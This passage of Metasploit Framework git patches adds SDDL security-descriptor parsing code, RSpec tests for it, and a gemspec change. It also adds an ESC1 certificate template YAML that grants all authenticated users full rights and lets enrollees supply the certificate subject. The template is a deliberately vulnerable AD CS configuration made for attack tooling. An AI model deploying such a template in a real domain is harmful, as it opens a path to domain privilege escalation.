Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + when 'BA' # SDDL_BUILTIN_ADMINISTRATORS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_ADMINS + when 'BG' # SDDL_BUILTIN_GUESTS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_GUESTS + when 'BO' # SDDL_BACKUP_OPERATORS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_BACKUP_OPS + when 'BU' # SDDL_BUILTIN_USERS + sid = Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_SID_USERS + when 'CA' # SDDL_CERT_SERV_ADMINISTRATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_CERT_ADMINS}" + when 'CD' # SDDL_CERTSVC_DCOM_ACCESS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_CERTSVC_DCOM_ACCESS_GROUP}" + when 'CG' # SDDL_CREATOR_GROUP + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_CREATOR_GROUP_SID + when 'CN' # SDDL_CLONEABLE_CONTROLLERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_CLONEABLE_CONTROLLERS}" + when 'CO' # SDDL_CREATOR_OWNER + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_CREATOR_OWNER_SID + when 'CY' # SDDL_CRYPTO_OPERATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_CRYPTO_OPERATORS}" + when 'DA' # SDDL_DOMAIN_ADMINISTRATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ADMINS}" + when 'DC' # SDDL_DOMAIN_COMPUTERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_COMPUTERS}" + when 'DD' # SDDL_DOMAIN_DOMAIN_CONTROLLERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_CONTROLLERS}" + when 'DG' # SDDL_DOMAIN_GUESTS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_GUESTS}" + when 'DU' # SDDL_DOMAIN_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_USERS}" + when 'EA' # SDDL_ENTERPRISE_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ENTERPRISE_ADMINS}" + when 'ED' # SDDL_ENTERPRISE_DOMAIN_CONTROLLERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_ENTERPRISE_CONTROLLERS_SID}" + when 'EK' # SDDL_ENTERPRISE_KEY_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ENTERPRISE_KEY_ADMINS}" + when 'ER' # SDDL_EVENT_LOG_READERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_EVENT_LOG_READERS_GROUP}" + when 'ES' # SDDL_RDS_ENDPOINT_SERVERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_RDS_ENDPOINT_SERVERS}" + when 'HA' # SDDL_HYPER_V_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_HYPER_V_ADMINS}" + when 'HI' # SDDL_ML_HIGH + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_HIGH_RID}" + when 'IS' # SDDL_IIS_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_IUSERS}" + when 'IU' # SDDL_INTERACTIVE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_INTERACTIVE_SID + when 'KA' # SDDL_KEY_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_KEY_ADMINS}" + when 'LA' # SDDL_LOCAL_ADMIN + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_USER_RID_ADMIN}" + when 'LG' # SDDL_LOCAL_GUEST + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_USER_RID_GUEST}" + when 'LS' # SDDL_LOCAL_SERVICE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_LOCAL_SERVICE_SID + when 'LU' # SDDL_PERFLOG_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_LOGGING_USERS}" + when 'LW' # SDDL_ML_LOW + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_LOW_RID}" + when 'ME' # SDDL_ML_MEDIUM + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_MEDIUM_RID}" + when 'MP' # SDDL_ML_MEDIUM_PLUS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_MEDIUM_PLUS_RID}" + when 'MU' # SDDL_PERFMON_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_MONITORING_USERS}" + when 'NO' # SDDL_NETWORK_CONFIGURATION_OPS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_NETWORK_CONFIGURATION_OPS}" + when 'NS' # SDDL_NETWORK_SERVICE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_NETWORK_SERVICE_SID + when 'NU' # SDDL_NETWORK + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_NETWORK_SID + when 'OW' # SDDL_OWNER_RIGHTS + sid = "#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_CREATOR_SID_AUTHORITY}-4" + when 'PA' # SDDL_GROUP_POLICY_ADMINS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_POLICY_ADMINS}" + when 'PO' # SDDL_PRINTER_OPERATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_PRINT_OPS}" + when 'PS' # SDDL_PERSONAL_SELF + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_PRINCIPAL_SELF_SID + when 'PU' # SDDL_POWER_USERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_POWER_USERS}" + when 'RA' # SDDL_RDS_REMOTE_ACCESS_SERVERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_RDS_REMOTE_ACCESS_SERVERS}" + when 'RC' # SDDL_RESTRICTED_CODE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_RESTRICTED_CODE_SID + when 'RD' # SDDL_REMOTE_DESKTOP + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_REMOTE_DESKTOP_USERS}" + when 'RE' # SDDL_REPLICATOR + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_REPLICATOR}" + when 'RM' # SDDL_RMS__SERVICE_OPERATORS + sid = "#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_BUILTIN_DOMAIN_SID}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_REMOTE_MANAGEMENT_USERS}" + when 'RO' # SDDL_ENTERPRISE_RO_DCs + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ENTERPRISE_READONLY_DOMAIN_CONTROLLERS}" + when 'RS' # SDDL_RAS_SERVERS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_RAS_SERVERS}" + when 'RU' # SDDL_ALIAS_PREW2KCOMPACC + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_PREW2KCOMPACCESS}" + when 'SA' # SDDL_SCHEMA_ADMINISTRATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_SCHEMA_ADMINS}" + when 'SI' # SDDL_ML_SYSTEM + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_MANDATORY_SYSTEM_SID + when 'SO' # SDDL_SERVER_OPERATORS + sid = "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_ALIAS_RID_SYSTEM_OPS}" + when 'SS' # SDDL_SERVICE_ASSERTED + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATION_SERVICE_ASSERTED_SID + when 'SU' # SDDL_SERVICE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_SERVICE_SID + when 'SY' # SDDL_LOCAL_SYSTEM + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_LOCAL_SYSTEM_SID + when 'UD' # SDDL_USER_MODE_DRIVERS + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_USERMODEDRIVERHOST_ID_BASE_SID + when 'WD' # SDDL_EVERYONE + sid = "#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_WORLD_SID_AUTHORITY}-#{Rex::Proto::Secauthz::WellKnownSids::SECURITY_WORLD_RID}" + when 'WR' # SDDL_WRITE_RESTRICTED_CODE + sid = Rex::Proto::Secauthz::WellKnownSids::SECURITY_WRITE_RESTRICTED_CODE_SID + when /^S(-\d+)+/ + else + raise RuntimeError, 'SDDL parse error on invalid SID string: ' + sid + end + + + MsDtypSid.new(sid) + end + end + def initialize_shared_instance # define accessor methods for the custom fields to expose the same API as BinData define_field_accessors_for2(:owner_sid) From a88751167b0b903d68f20169fd4c239dd92db8dd Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 3 May 2023 17:40:12 -0400 Subject: [PATCH 167/415] Add specs for .from_sddl_text --- .../ms_dtyp_security_descriptor_spec.rb | 355 ++++++++++++++++++ 1 file changed, 355 insertions(+) create mode 100644 spec/lib/rex/proto/ms_dtyp/ms_dtyp_security_descriptor_spec.rb diff --git a/spec/lib/rex/proto/ms_dtyp/ms_dtyp_security_descriptor_spec.rb b/spec/lib/rex/proto/ms_dtyp/ms_dtyp_security_descriptor_spec.rb new file mode 100644 index 0000000000000..33f8854e7ba7a --- /dev/null +++ b/spec/lib/rex/proto/ms_dtyp/ms_dtyp_security_descriptor_spec.rb @@ -0,0 +1,355 @@ +# -*- coding:binary -*- + +require 'securerandom' + +RSpec.describe Rex::Proto::MsDtyp::MsDtypSecurityDescriptor do + let (:domain_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}" } + describe '.from_sddl_text' do + context 'when parsing an owner SID' do + let (:dummy_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(100..999)}" } + + it 'raises an exception when multiple owners are specified' do + expect { described_class.from_sddl_text('O:AUO:AU', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'raises an exception on invalid constant SID strings' do + expect { described_class.from_sddl_text('O:XX', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'raises an exception on invalid literal SID strings' do + expect { described_class.from_sddl_text('O:S-###', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'parses constant SID strings' do + expect(described_class).to receive(:parse_sddl_sid).with('AU', domain_sid: domain_sid).and_call_original + expect(described_class.from_sddl_text('O:AU', domain_sid: domain_sid).owner_sid).to eq Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + it 'parses literal SID strings' do + expect(described_class).to receive(:parse_sddl_sid).with(dummy_sid, domain_sid: domain_sid).and_call_original + expect(described_class.from_sddl_text("O:#{dummy_sid}", domain_sid: domain_sid).owner_sid).to eq dummy_sid + end + end + + context 'when parsing a group SID' do + let (:dummy_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(100..999)}" } + + it 'raises an exception when multiple groups are specified' do + expect { described_class.from_sddl_text('G:AUG:AU', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'raises an exception on invalid constant SID strings' do + expect { described_class.from_sddl_text('G:XX', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'raises an exception on invalid literal SID strings' do + expect { described_class.from_sddl_text('G:S-###', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'parses constant SID strings' do + expect(described_class).to receive(:parse_sddl_sid).with('AU', domain_sid: domain_sid).and_call_original + expect(described_class.from_sddl_text('G:AU', domain_sid: domain_sid).group_sid).to eq Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + it 'parses literal SID strings' do + expect(described_class).to receive(:parse_sddl_sid).with(dummy_sid, domain_sid: domain_sid).and_call_original + expect(described_class.from_sddl_text("G:#{dummy_sid}", domain_sid: domain_sid).group_sid).to eq dummy_sid + end + end + + context 'when parsing a DACL' do + context 'with an empty definitions' do + let(:instance) { described_class.from_sddl_text('D:', domain_sid: domain_sid) } + + it 'calls .parse_sddl_aces' do + expect(described_class).to receive(:parse_sddl_aces).with('', domain_sid: domain_sid).and_return([]) + described_class.from_sddl_text('D:', domain_sid: domain_sid) + end + + it 'sets the ACL when no ACEs are present' do + expect(instance.dacl).to be_a Rex::Proto::MsDtyp::MsDtypAcl + expect(instance.dacl.aces).to be_empty + end + + it 'does not set the P flag' do + expect(instance.control.pd).to eq 0 + end + + it 'does not set the AI flag' do + expect(instance.control.di).to eq 0 + end + + it 'does not set the AR flag' do + expect(instance.control.dc).to eq 0 + end + end + + it 'raises an exception when multiple values are specified' do + expect { described_class.from_sddl_text('D:D:', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets the P flag' do + expect(described_class.from_sddl_text('D:P', domain_sid: domain_sid).control.pd).to eq 1 + end + + it 'sets the AI flag' do + expect(described_class.from_sddl_text('D:AI', domain_sid: domain_sid).control.di).to eq 1 + end + + it 'sets the AR flag' do + expect(described_class.from_sddl_text('D:AR', domain_sid: domain_sid).control.dc).to eq 1 + end + + it 'sets a NULL ACL on NO_ACCESS_CONTROL' do + expect(described_class.from_sddl_text('D:NO_ACCESS_CONTROL', domain_sid: domain_sid).dacl).to be_nil + end + end + + context 'when parsing a SACL' do + context 'with an empty definitions' do + let(:instance) { described_class.from_sddl_text('S:', domain_sid: domain_sid) } + + it 'calls .parse_sddl_aces' do + expect(described_class).to receive(:parse_sddl_aces).with('', domain_sid: domain_sid).and_return([]) + described_class.from_sddl_text('S:', domain_sid: domain_sid) + end + + it 'sets the ACL when no ACEs are present' do + expect(instance.sacl).to be_a Rex::Proto::MsDtyp::MsDtypAcl + expect(instance.sacl.aces).to be_empty + end + + it 'does not set the P flag' do + expect(instance.control.ps).to eq 0 + end + + it 'does not set the AI flag' do + expect(instance.control.si).to eq 0 + end + + it 'does not set the AR flag' do + expect(instance.control.sc).to eq 0 + end + end + + it 'raises an exception when multiple values are specified' do + expect { described_class.from_sddl_text('S:S:', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets the P flag' do + expect(described_class.from_sddl_text('S:P', domain_sid: domain_sid).control.ps).to eq 1 + end + + it 'sets the AI flag' do + expect(described_class.from_sddl_text('S:AI', domain_sid: domain_sid).control.si).to eq 1 + end + + it 'sets the AR flag' do + expect(described_class.from_sddl_text('S:AR', domain_sid: domain_sid).control.sc).to eq 1 + end + + it 'sets a NULL ACL on NO_ACCESS_CONTROL' do + expect(described_class.from_sddl_text('S:NO_ACCESS_CONTROL', domain_sid: domain_sid).sacl).to be_nil + end + end + end + + describe '.parse_sddl_ace' do + it 'raises an exception on invalid ACEs' do + expect { described_class.send(:parse_sddl_ace, '', domain_sid: domain_sid) }.to raise_error(RuntimeError) + expect { described_class.send(:parse_sddl_ace, ';;;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + expect { described_class.send(:parse_sddl_ace, ';;;;;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + context 'when parsing the ACE type' do + it 'raises an exception on an invalid type' do + expect { described_class.send(:parse_sddl_ace, 'X;;;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets the type correctly for A' do + expect(described_class.send(:parse_sddl_ace, 'A;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE + end + + it 'sets the type correctly for A (case-insensitive)' do + expect(described_class.send(:parse_sddl_ace, 'a;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_ACE_TYPE + end + + it 'sets the type correctly for D' do + expect(described_class.send(:parse_sddl_ace, 'D;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_DENIED_ACE_TYPE + end + + it 'sets the type correctly for OA' do + expect(described_class.send(:parse_sddl_ace, 'OA;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_ALLOWED_OBJECT_ACE_TYPE + end + + it 'sets the type correctly for OD' do + expect(described_class.send(:parse_sddl_ace, 'OD;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::ACCESS_DENIED_OBJECT_ACE_TYPE + end + + it 'sets the type correctly for AU' do + expect(described_class.send(:parse_sddl_ace, 'AU;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::SYSTEM_AUDIT_ACE_TYPE + end + + it 'sets the type correctly for OU' do + expect(described_class.send(:parse_sddl_ace, 'OU;;;;;', domain_sid: domain_sid).header.ace_type).to eq Rex::Proto::MsDtyp::MsDtypAceType::SYSTEM_AUDIT_OBJECT_ACE_TYPE + end + end + + context 'when parsing the ACE flags' do + it 'raises an exception on invalid flags' do + expect { described_class.send(:parse_sddl_ace, 'A;XX;;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets no flags by default' do + expect(described_class.send(:parse_sddl_ace, 'A;;;;;', domain_sid: domain_sid).header.ace_flags.snapshot.values.sum).to eq 0 + end + + it 'sets the flag correctly for CI' do + expect(described_class.send(:parse_sddl_ace, 'A;CI;;;;', domain_sid: domain_sid).header.ace_flags.container_inherit_ace).to eq 1 + end + + it 'sets the flag correctly for CI (case-insensitive)' do + expect(described_class.send(:parse_sddl_ace, 'A;ci;;;;', domain_sid: domain_sid).header.ace_flags.container_inherit_ace).to eq 1 + end + + it 'sets the flag correctly for OI' do + expect(described_class.send(:parse_sddl_ace, 'A;OI;;;;', domain_sid: domain_sid).header.ace_flags.object_inherit_ace).to eq 1 + end + + it 'sets the flag correctly for NP' do + expect(described_class.send(:parse_sddl_ace, 'A;NP;;;;', domain_sid: domain_sid).header.ace_flags.no_propagate_inherit_ace).to eq 1 + end + + it 'sets the flag correctly for IO' do + expect(described_class.send(:parse_sddl_ace, 'A;IO;;;;', domain_sid: domain_sid).header.ace_flags.inherit_only_ace).to eq 1 + end + + it 'sets the flag correctly for ID' do + expect(described_class.send(:parse_sddl_ace, 'A;ID;;;;', domain_sid: domain_sid).header.ace_flags.inherited_ace).to eq 1 + end + + it 'sets the flag correctly for SA' do + expect(described_class.send(:parse_sddl_ace, 'A;SA;;;;', domain_sid: domain_sid).header.ace_flags.successful_access_ace_flag).to eq 1 + end + + it 'sets the flag correctly for FA' do + expect(described_class.send(:parse_sddl_ace, 'A;FA;;;;', domain_sid: domain_sid).header.ace_flags.failed_access_ace_flag).to eq 1 + end + + it 'sets the flag correctly for CR' do + expect(described_class.send(:parse_sddl_ace, 'A;CR;;;;', domain_sid: domain_sid).header.ace_flags.critical_ace_flag).to eq 1 + end + end + + context 'when parsing the ACE rights' do + it 'raises an exception on invalid rights' do + expect { described_class.send(:parse_sddl_ace, 'A;;XX;;;', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets no rights by default' do + expect(described_class.send(:parse_sddl_ace, 'A;;;;;', domain_sid: domain_sid).body.access_mask).to eq Rex::Proto::MsDtyp::MsDtypAccessMask::NONE + end + + %w[ GA GR GW GX ].each do |right| + it "sets the rights correctly for #{right}" do + expect(described_class.send(:parse_sddl_ace, "A;;#{right};;;", domain_sid: domain_sid).body.access_mask.send(right.downcase)).to eq 1 + end + end + + it 'sets the rights correctly for FA' do + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.protocol).to eq 0x1ff + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.de).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.rc).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.wd).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.wo).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;FA;;;', domain_sid: domain_sid).body.access_mask.sy).to eq 1 + end + + it 'sets the rights correctly for KA' do + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.protocol).to eq 0x3f + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.de).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.rc).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.wd).to eq 1 + expect(described_class.send(:parse_sddl_ace, 'A;;KA;;;', domain_sid: domain_sid).body.access_mask.wo).to eq 1 + end + end + + context 'when parsing the ACE object GUID' do + let (:dummy_guid) { SecureRandom.uuid } + + it 'raises an exception when the ACE type is incompatible' do + expect { described_class.send(:parse_sddl_ace, "A;;;#{dummy_guid};;", domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets no object GUID by default' do + expect(described_class.send(:parse_sddl_ace, "OA;;;;;", domain_sid: domain_sid).body.flags.ace_object_type_present).to eq 0 + expect(described_class.send(:parse_sddl_ace, "OA;;;;;", domain_sid: domain_sid).body.object_type).to eq '00000000-0000-0000-0000-000000000000' + end + + it 'sets the object type' do + expect(described_class.send(:parse_sddl_ace, "OA;;;#{dummy_guid};;", domain_sid: domain_sid).body.flags.ace_object_type_present).to eq 1 + expect(described_class.send(:parse_sddl_ace, "OA;;;#{dummy_guid};;", domain_sid: domain_sid).body.object_type).to eq dummy_guid + end + end + + context 'when parsing the ACE inherited object GUID' do + let (:dummy_guid) { SecureRandom.uuid } + + it 'raises an exception when the ACE type is incompatible' do + expect { described_class.send(:parse_sddl_ace, "A;;;;#{dummy_guid};", domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'sets no inherited object GUID by default' do + expect(described_class.send(:parse_sddl_ace, "OA;;;;;", domain_sid: domain_sid).body.flags.ace_inherited_object_type_present).to eq 0 + expect(described_class.send(:parse_sddl_ace, "OA;;;;;", domain_sid: domain_sid).body.inherited_object_type).to eq '00000000-0000-0000-0000-000000000000' + end + + it 'sets the inherited object type' do + expect(described_class.send(:parse_sddl_ace, "OA;;;;#{dummy_guid};", domain_sid: domain_sid).body.flags.ace_inherited_object_type_present).to eq 1 + expect(described_class.send(:parse_sddl_ace, "OA;;;;#{dummy_guid};", domain_sid: domain_sid).body.inherited_object_type).to eq dummy_guid + end + end + + context 'when parsing the ACE SID' do + let (:dummy_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(100..999)}" } + + it 'calls .parse_sddl_sid' do + expect(described_class).to receive(:parse_sddl_sid).with(dummy_sid, domain_sid: domain_sid).and_call_original + expect(described_class.send(:parse_sddl_ace, "A;;;;;#{dummy_sid}", domain_sid: domain_sid).body.sid).to eq dummy_sid + end + end + end + + describe '.parse_sddl_sid' do + let (:dummy_sid) { "S-1-5-21-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(0xf00000..0xffffffff)}-#{rand(100..999)}" } + + it 'raises an exception on invalid SIDs' do + expect { described_class.send(:parse_sddl_sid, 'S-###', domain_sid: domain_sid) }.to raise_error(RuntimeError) + end + + it 'parses constant SID strings (AU)' do + expect(described_class.send(:parse_sddl_sid, 'AU', domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, 'AU', domain_sid: domain_sid)).to eq Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + it 'parses constant SID strings (DA)' do + expect(described_class.send(:parse_sddl_sid, 'DA', domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, 'DA', domain_sid: domain_sid)).to eq "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ADMINS}" + end + + it 'parses constant SID strings (AU, case-insensitive)' do + expect(described_class.send(:parse_sddl_sid, 'au', domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, 'au', domain_sid: domain_sid)).to eq Rex::Proto::Secauthz::WellKnownSids::SECURITY_AUTHENTICATED_USER_SID + end + + it 'parses constant SID strings (DA, case-insensitive)' do + expect(described_class.send(:parse_sddl_sid, 'da', domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, 'da', domain_sid: domain_sid)).to eq "#{domain_sid}-#{Rex::Proto::Secauthz::WellKnownSids::DOMAIN_GROUP_RID_ADMINS}" + end + + it 'parses literal SID strings' do + expect(described_class.send(:parse_sddl_sid, dummy_sid, domain_sid: domain_sid)).to be_a Rex::Proto::MsDtyp::MsDtypSid + expect(described_class.send(:parse_sddl_sid, dummy_sid, domain_sid: domain_sid)).to eq dummy_sid + end + end +end From 8258657a45aae33206eae203bf502d7782b59084 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Mon, 1 May 2023 17:13:53 -0400 Subject: [PATCH 168/415] Add the ESC1 certificate template --- .../ad_cs_cert_template/esc1_template.yaml | 27 +++++++++++++++++++ 1 file changed, 27 insertions(+) create mode 100644 data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml diff --git a/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml new file mode 100644 index 0000000000000..b118be6ae7221 --- /dev/null +++ b/data/auxiliary/admin/ldap/ad_cs_cert_template/esc1_template.yaml @@ -0,0 +1,27 @@ +--- +# Creates a template that will be vulnerable to ESC 1 (subject name supplied in +# the request). Fields are based on the SubCA template. For field descriptions, +# see: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/b2df0c1c-8657-4684-bb5f-4f6b89c8d434 +showInAdvancedViewOnly: 'TRUE' +# this security descriptor grants all permissions to all authenticated users +nTSecurityDescriptor: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) +flags: 0 +pKIDefaultKeySpec: 2 +pKIKeyUsage: !binary |- + hgA= +pKIMaxIssuingDepth: -1 +pKICriticalExtensions: +- 2.5.29.19 +- 2.5.29.15 +pKIExpirationPeriod: !binary |- + AEAepOhl+v8= +pKIOverlapPeriod: !binary |- + AICmCv/e//8= +pKIDefaultCSPs: 1,Microsoft Enhanced Cryptographic Provider v1.0 +msPKI-RA-Signature: 0 +msPKI-Enrollment-Flag: 0 +# CT_FLAG_EXPORTABLE_KEY +msPKI-Private-Key-Flag: 0x10 +# CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT +msPKI-Certificate-Name-Flag: 1 +msPKI-Minimal-Key-Size: 2048 From 5a96979363869e84a007b94bd4ef4e59597c5d23 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 22 May 2023 08:28:23 -0500 Subject: [PATCH 169/415] exclude IDE development collateral from gemspec --- metasploit-framework.gemspec | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 7cb8e2a64d350..51a47c7fd0cde 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -28,7 +28,7 @@ Gem::Specification.new do |spec| # only do a git ls-files if the .git folder exists and we have a git binary in PATH if File.directory?(File.join(File.dirname(__FILE__), ".git")) && Msf::Util::Helper.which("git") spec.files = `git ls-files`.split($/).reject { |file| - file =~ /^external|^docs/ + file =~ /^external|^docs|^\.solargraph\.yml/ } end spec.bindir = '.' From e3823691a16c51ca13eeec298135aa8e2f6181c4 Mon Sep 17 00:00:00 2001 From: 